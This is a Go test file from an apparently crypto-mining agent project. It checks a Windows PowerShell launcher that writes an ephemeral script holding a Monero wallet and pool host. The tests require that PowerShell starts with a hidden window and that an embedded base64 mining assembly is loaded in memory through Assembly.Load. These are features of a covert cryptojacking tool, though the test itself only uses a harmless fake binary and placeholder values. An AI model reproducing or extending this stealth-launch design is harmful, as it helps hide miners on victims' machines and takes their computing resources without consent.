Files
AetherForge/agent/miner/powershell_launcher_test.go

148 lines
3.4 KiB
Go

package miner
import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) {
t.Helper()
dir := t.TempDir()
outFile := filepath.Join(dir, "ps-args.txt")
if runtime.GOOS == "windows" {
bat := filepath.Join(dir, "fake-powershell.cmd")
body := `@echo off
set OUT=%~dp0ps-args.txt
echo %*>>"%OUT%"
ping -n 3 127.0.0.1 >nul
`
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return bat, &outFile
}
sh := filepath.Join(dir, "fake-powershell.sh")
body := `#!/bin/sh
echo "$@" >> "$(dirname "$0")/ps-args.txt"
sleep 1
`
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return sh, &outFile
}
func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, outFile := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd {
return exec.Command(name, args...)
})
defer func() {
SetPowerShellBinPath("")
SetPowerShellExecCommand(nil)
}()
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "ps-test",
Wallet: "XMR:wallet123",
WorkerName: "worker-ps",
PoolHost: "pool.example.com",
PoolPort: 3333,
PoolPass: "x",
},
}
launcher, err := NewPowerShellLauncher(cfg)
if err != nil {
t.Fatalf("NewPowerShellLauncher: %v", err)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
script := launcher.ScriptPath()
if script == "" {
t.Fatal("expected ephemeral script path")
}
body, err := os.ReadFile(script)
if err != nil {
t.Fatalf("read script: %v", err)
}
text := string(body)
if !strings.Contains(text, "XMR:wallet123") {
t.Fatalf("script missing wallet: %s", text)
}
if !strings.Contains(text, "pool.example.com") {
t.Fatalf("script missing pool host: %s", text)
}
if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 {
args := string(data)
if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") {
t.Fatalf("powershell args=%q want hidden window", args)
}
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
}
func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, _ := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
defer SetPowerShellBinPath("")
if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil {
t.Fatal("expected error without pool/wallet")
}
}
func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, _ := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
SetEmbeddedMiningAssemblyB64("YWJj") // "abc"
defer func() {
SetPowerShellBinPath("")
SetEmbeddedMiningAssemblyB64("")
}()
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
Wallet: "wallet",
PoolHost: "p",
PoolPort: 1,
},
}
launcher, err := NewPowerShellLauncher(cfg)
if err != nil {
t.Fatal(err)
}
body, err := launcher.buildScriptBody()
if err != nil {
t.Fatal(err)
}
if !strings.Contains(body, "Assembly]::Load") {
t.Fatalf("expected Assembly.Load path, got %s", body)
}
}